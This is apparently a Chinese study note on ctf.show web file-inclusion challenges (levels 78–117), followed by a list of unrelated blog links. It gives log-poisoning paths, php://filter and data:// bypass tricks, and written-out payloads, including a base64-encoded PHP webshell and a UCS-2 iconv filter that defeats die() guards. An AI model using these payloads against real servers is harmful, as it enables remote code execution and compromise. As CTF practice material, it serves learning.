ctf_show笔记篇(web入门---文件包含)

目录

文件包含

78-79:最基础的文件包含,使用伪协议,大小写绕过或者通配符绕过,再或者使用其他方法

​编辑80-81:可采用日志文件绕过或者大小写绕过(81只能日志文件绕过)

####80-86:因为条件竞争只在晚上十一点半后开启到早上七点多,所以暂时先不做

87:这里要利用到php伪协议的特性

88:使用data协议通过base64编码绕过

116:通过binwalk扫描文件,然后在用foremost 文件名 -o 要输出的文件 精准输出需要的文件####有时候binwalk不够准确

117:还是使用php伪协议的特性


文件包含

78-79:最基础的文件包含,使用伪协议,大小写绕过或者通配符绕过,再或者使用其他方法

80-81:可采用日志文件绕过或者大小写绕过(81只能日志文件绕过)

日志文件路径:前提是可以访问到日志文件

  • /var/log/apache/access.log
  • /var/log/apache2/access.log
  • /var/log/nginx/access.log

大小写绕过,例如PHP://filter

####80-86:因为条件竞争只在晚上十一点半后开启到早上七点多,所以暂时先不做

87:这里要利用到php伪协议的特性

####看不懂的话可以去看这篇文章来了解php的特性谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)

这里使用urldecode来解码file,那么传入数据的时候就要进行url编码

那么这些过滤就没用了不用管了

payload:

原:file=php://filter/write=convert.base64-decode/resource=a.php

url转换两次后:####浏览器会先自动url解码一次,第二次则是urldecode

file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%31%25%32%65%25%37%30%25%36%38%25%37%30

原content=<?php eval(system($_GET[1]));?>

content=aaPD9waHAgZXZhbChzeXN0ZW0oJF9HRVRbMV0pKTs/Pg==

利用php伪协议的特性

  1. base64指定只能只用a-z A-Z 0-9的字符
    所以<?php die('大佬别秀了');?>就会变成phpdie,这里就会直接让他的die无效化
  2. 应为base64只能处理4的倍数的字符串,所以需要在前面多加两个字符
    最后的连接起来的效果应该是phpdieaa和PD9waHAgZXZhbChzeXN0ZW0oJF9HRVRbMV0pKTs/Pg==

88:使用data协议通过base64编码绕过

116:通过binwalk扫描文件,然后在用foremost 文件名 -o 要输出的文件 精准输出需要的文件####有时候binwalk不够准确

过滤以下协议,当没有填入file函数的时候file=sp2.mp4

117:还是使用php伪协议的特性

payload:

file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php

UCS-2LE编码转换为UCS-2BE编码,这个过滤器需要php支持iconv

通过这样可以将<?php die();?>打乱

而contents传入的数据只需要提前以UCS-2LE编码传入转换回来就可以

contents=?<hp pvela$(P_SO[T]a;)>?

相关推荐
We་ct13 分钟前
LeetCode 5. 最长回文子串:DP + 中心扩展
前端·javascript·算法·leetcode·typescript
William Dawson4 小时前
2026软考中级系统集成项目管理工程师备考笔记
笔记·系统集成项目管理工程师
陈随易4 小时前
有生之年系列,Nodejs进程管理pm2 v7.0发布
前端·后端·程序员
冰暮流星4 小时前
javascript之事件代理/事件委托
前端
陈随易6 小时前
AI时代,你还在坚持手搓文章吗
前端·后端·程序员
love530love7 小时前
精简版|Claude-HUD 插件介绍 + 一键安装教程
人工智能·windows·笔记
想成为优秀工程师的爸爸7 小时前
第三十篇技术笔记:郭大侠学UDS - 人有生老三千疾,望闻问切良方医
网络·笔记·网络协议·tcp/ip·信息与通信
里欧跑得慢8 小时前
17. Flutter Hero动画实现:让界面过渡更加优雅
前端·css·flutter·web
IT_陈寒8 小时前
Vue的这个响应式陷阱,我debug了一整天才爬出来
前端·人工智能·后端
kyriewen8 小时前
前端测试:别为了100%覆盖率而写测试,那是自欺欺人
前端·javascript·单元测试